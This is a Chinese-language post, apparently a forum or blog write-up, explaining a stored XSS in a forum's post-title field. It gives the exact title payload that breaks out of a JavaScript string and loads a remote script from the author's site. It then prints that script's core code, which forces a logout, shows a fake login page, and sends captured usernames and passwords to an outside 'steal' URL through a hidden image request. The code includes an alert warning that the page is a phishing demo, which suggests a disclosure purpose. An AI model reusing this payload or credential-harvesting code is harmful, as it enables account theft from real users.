讲一下之前XSS的细节问题
1.注入js带代码
主要问题是页面中有一个这么一处
var title = "这里是帖子标题";
tiny叔直接在模板里的js代码中没有过滤直接输出字符串,使得我可以在标题里面使用"符号打断这段代码。比如我在标题的最后面加上如下语句:
";var d=document;s=d.createElement('script');s.src='http://lovearia.me/t.js';d.head.appendChild(s);"
于是上面那个title变量的赋值语句就变成了这样
var title = "";var d=document;s=d.createElement('script');s.src='http://lovearia.me/t.js';d.head.appendChild(s);"";
到此我的代码就注入成功了。这段代码的作用就是在此页面上加载 http://lovearia.me/t.js 这个放在我的网站上的脚本。
2.钓鱼并获取账户密码
用XSS注入直接获取帐号密码是比较困难的,但是可以通过欺骗的手段,骗取密码。如何让用户输入帐号密码呢?这个其实很简单,我的做法是:
- 用ajax退出用户登录。
- 伪造登录页面,并且劫持。
- 将用户名密码发送到远程服务器。
- 让用户成功登录即可。
接下来,看看我的 lovearia.me/t.js 是怎么写的。杂七杂八的细节我不说了,我就说核心的部分。
// 设置退出登录页面和登录页面
var logoutpage = '/user/logout/';
var loginpage = '/user/login/';
// 登录页面的表单选择器
var loginformselector = 'form[action="/user/login/"]';
// 登录页面中用户名密码的选择器
var usernameselector = 'input[name="name"]';
var passwordselector = 'input[name="password"]';
// 接受偷取用户名密码的URL
var receiveurl = 'http://lovearia.me/main/steal/';
// 首先,用Ajax强制退出用户的登录
$.get(logoutpage, function(){
// 然后,用Ajax获取登录页面并且覆盖当前页面
// 注意:此处不会跳转URL
$.get(loginpage, function(d){
$('html').html(d);
alert('这是钓鱼登录页面,别输入帐号密码了');
// 当用户提交登录表单的时候,获取用户名密码,并且传输给服务器
$(loginformselector).on('submit', function(e){
e.preventDefault();
var username = $(usernameselector).val();
var password = $(passwordselector).val();
var img = $('<img>');
img.attr('src', receiveurl + username + '/' + password);
img.css('display', 'none');
img.on('error', function(){
//localStorage['islogin'] = 'true';
$(loginformselector).off('submit');
$(loginformselector).trigger('submit');
});
// 这里通过图片传输数据来避免跨域问题
$('body').append(img);
});
});
});